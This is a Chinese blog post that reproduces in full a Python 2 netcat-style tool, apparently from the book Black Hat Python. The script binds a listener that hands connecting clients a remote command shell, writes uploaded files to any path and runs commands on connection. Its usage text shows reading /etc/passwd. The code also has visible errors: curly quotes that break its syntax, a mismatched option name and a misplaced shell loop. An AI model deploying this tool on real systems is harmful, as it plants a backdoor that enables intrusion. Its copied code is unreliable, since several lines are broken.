Black Hat Python之#1：制作简单的nc工具

  1 __author__ = ‘seven‘
  2 import sys
  3 import socket
  4 import getopt
  5 import threading
  6 import subprocess
  7 
  8 listen = False
  9 command = False
 10 upload = False
 11 execute = ""
 12 target = ""
 13 upload_destination = ""
 14 port = 0
 15 
 16 
 17 def usage():
 18     print "BHP Net Tool"
 19     print
 20     print "Usage: netcat.py -t target_host -p port"
 21     print "-l --listen                - listen on [host]:[port] for incoming connections"
 22     print "-e --execute=file_to_run   - execute the given file upon receiving a connection"
 23     print "-c --command               - initialize a command shell"
 24     print "-u --upload=destination    - upon receiving connection upload a file and write to [destination]"
 25     print
 26     print
 27     print "Examples: "
 28     print "netcat.py -t 192.168.0.1 -p 5555 -l -c"
 29     print "netcat.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
 30     print "netcat.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
 31     print "echo ‘ABCDEFGHI‘ | ./netcat.py -t 192.168.11.12 -p 135"
 32     sys.exit(0)
 33 
 34 
 35 def client_sender(buffer):
 36     client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 37     try:
 38         client.connect((target, port))
 39         if len(buffer):
 40             client.send(buffer)
 41 
 42         while True:
 43             recv_len = 1
 44             response = ""
 45             while recv_len:
 46                 data = client.recv(4096)
 47                 recv_len = len(data)
 48                 response += data
 49                 if recv_len < 4096:
 50                     break
 51 
 52             print response,
 53 
 54             buffer = raw_input("")
 55             buffer += "\n"
 56             client.send(buffer)
 57 
 58     except:
 59         print "[*] Exception! Exiting."
 60         client.close()
 61 
 62 
 63 def server_loop():
 64     global target
 65     if not len(target):
 66         target = "0.0.0.0"
 67 
 68     server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 69     server.bind((target, port))
 70     server.listen(5)
 71 
 72     while True:
 73         client_socket, addr = server.accept()
 74         client_thread = threading.Thread(target=client_handler, args=(client_socket,))
 75         client_thread.start()
 76 
 77 
 78 def run_command(command):
 79     command = command.rstrip()
 80     try:
 81         output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
 82     except:
 83         output = "Failed to execute command.\r\n"
 84 
 85     return output
 86 
 87 
 88 def client_handler(client_socket):
 89     global upload
 90     global execute
 91     global command
 92 
 93     if len(upload_destination):
 94         file_buffer = ""
 95         while True:
 96             data = client_socket.recv(1024)
 97             if not data:
 98                 break
 99             else:
100                 file_buffer += data
101 
102         try:
103             file_descriptor = open(upload_destination, "wb")
104             file_descriptor.write(file_buffer)
105             file_descriptor.close()
106             client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
107         except:
108             client_socket.send("Failed to save file to %s\r\n" % upload_destination)
109 
110     if len(execute):
111         output = run_command(execute)
112         client_socket.send(output)
113 
114     if command:
115         while True:
116             client_socket.send("<BHP:#> ")
117             cmd_buffer = ""
118             while "\n" not in cmd_buffer:
119                 cmd_buffer += client_socket.recv(1024)
120                 response = run_command(cmd_buffer)
121                 client_socket.send(response)
122 
123 def main():
124     global listen
125     global port
126     global execute
127     global command
128     global upload_destination
129     global target
130 
131     if not len(sys.argv[1:]):
132         usage()
133 
134     # read the commandline options
135     try:
136         opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
137                                    ["help", "listen", "execute", "target", "port", "command", "upload"])
138     except getopt.GetoptError as err:
139         print str(err)
140         usage()
141 
142     for o, a in opts:
143         if o in ("-h", "--help"):
144             usage()
145         elif o in ("-l", "--listen"):
146             listen = True
147         elif o in ("-e", "--execution"):
148             execute = a
149         elif o in ("-t", "--target"):
150             target = a
151         elif o in ("-p", "--port"):
152             port = int(a)
153         elif o in ("-c", "--command"):
154             command = True
155         elif o in ("-u", "--upload"):
156             upload_destination = a
157         else:
158             assert False, "Unhandled Option"
159 
160     if not listen and len(target) and port > 0:
161         buffer = sys.stdin.read()
162         client_sender(buffer)
163 
164     if listen:
165         server_loop()
166 
167 main()